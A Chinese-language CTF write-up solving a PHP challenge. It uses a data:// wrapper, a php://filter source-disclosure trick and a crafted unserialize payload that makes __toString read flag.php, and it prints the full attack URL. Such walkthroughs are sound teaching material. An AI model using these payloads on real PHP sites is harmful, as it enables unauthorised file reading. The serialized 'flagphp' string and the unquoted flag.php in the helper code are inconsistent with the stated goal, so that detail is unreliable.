changeTheWay
- 关注

进入题目,看到一段PHP代码。
首先是三个GET参数text,file,password。
file_get_contents
file_get_contents() 函数把整个文件读入一个字符串中。通常括号内输入文件名。‘r’ 应该是以只读的形式打开
那么为了通过验证,我们需要$text所指代的文件内容为“welcome to the zjctf
”,当然不可能指望服务器上有这样一个文件,所以应该是需要我们自己构造,这里要用到PHP伪协议。
可以参考https://www.php.net/manual/zh/wrappers.data.php
data://
用法
data://text/plain;base64,base64加密后的数据
示例
<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>
所以我们可以构造 text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 来绕过第一段验证
接下来注意到代码中使用了include函数,可以输入文件名将文件包含进来(当前路径下的文件可以直接写文件名,但其他路径的文件要把路径带上)
根据提示,我们先包含“useless.php
”文件,构造 file=useless.php,password先随便写一个。
可以看到,只是打印了“welcome to the zjctf
”,并没有输出“useless.php
”文件的内容,
这可能是因为该文件被服务器配置文件中的规则所限制。
使用`php://filter/convert.base64-encode/resource=index.php`时,它是将目标文件(例如`index.php`)以Base64编码的形式输出到浏览器。这种方法绕过了常规的文件访问限制,通过读取文件并将其内容进行编码来显示文件的内容。
所以再次构造 file=php://filter/convert.base64-encode/resource=useless.php
这次出现了一串字符串,根据其以等号结尾的特点判断为base64编码,将其解码,得到了一串PHP代码
在这段代码中,定义了一个类Flag,在类中又使用了一个魔术方法__toString()
参考 https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-tostring.html#:~:text=%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95%20__toString%20%28%29%20%E5%BD%93%E6%88%91%E4%BB%AC%E4%BD%BF%E7%94%A8%20echo%20%E8%AF%AD%E5%8F%A5%E8%BE%93%E5%87%BA%E4%B8%80%E4%B8%AA%E5%AF%B9%E8%B1%A1%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%87%AA%E5%8A%A8%E6%A3%80%E6%9F%A5%E4%B8%80%E4%B8%AA%E5%AF%B9%E8%B1%A1%E6%9C%89%E6%B2%A1%E6%9C%89%E5%AE%9A%E4%B9%89,_toString%20%28%29%20%E6%96%B9%E6%B3%95%EF%BC%8C%E5%A6%82%E6%9E%9C%E5%AE%9A%E4%B9%89%E4%BA%86%EF%BC%8C%E5%B0%B1%E4%BC%9A%E8%BE%93%E5%87%BA%20__toString%20%28%29%20%E6%96%B9%E6%B3%95%E7%9A%84%E8%BF%94%E5%9B%9E%E5%80%BC%EF%BC%8C%E5%A6%82%E6%9E%9C%E6%B2%A1%E6%9C%89%E5%AE%9A%E4%B9%89%EF%BC%8C%E9%82%A3%E4%B9%88%E4%BC%9A%E7%9B%B4%E6%8E%A5%E6%8A%9B%E5%87%BA%E4%B8%80%E4%B8%AA%E5%BC%82%E5%B8%B8%EF%BC%8C%E8%A1%A8%E6%98%8E%E8%AF%A5%E5%AF%B9%E8%B1%A1%E4%B8%8D%E8%83%BD%E7%9B%B4%E6%8E%A5%E8%BD%AC%E6%8D%A2%E4%B8%BA%E5%AD%97%E7%AC%A6%E4%B8%B2
__toString()
在 PHP 编程中,是不能用echo语句直接输出一个对象的,也不能用字符串连接符 (.) 拼接一个对象
要想输出的话,就要把实体对象转换成字符串,这也正是__tostring函数的意义所在。
在执行 echo $password 时会自动检测有没有__tostring,有的话就调用
再看后面,我们可以利用 “echo file_get_contents($this->file);” 来输出我们想要的 flag.php 文件
如何做呢?
我们构造一个自己的PHP文件
class Flag{ //flag.php
public $file = flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$demo = new Flag;
$demo = serialize($demo);//序列化之后就不是一个实体了,而是一个字符串
echo $demo;
执行这段代码
最后得到的值为 O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
构造 password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
输入的 password 经过反序列化后,就是一个 Flag 实例,并且其中的 file (这里的flie可不是第一个PHP中的参数file)属性值为“flag.php”,在 echo 时调用__tostring()函数,就可以通过 file_get_contents 函数顺利读到flag.php的内容了
最后的payload就是:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
答案应该在源码里了。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)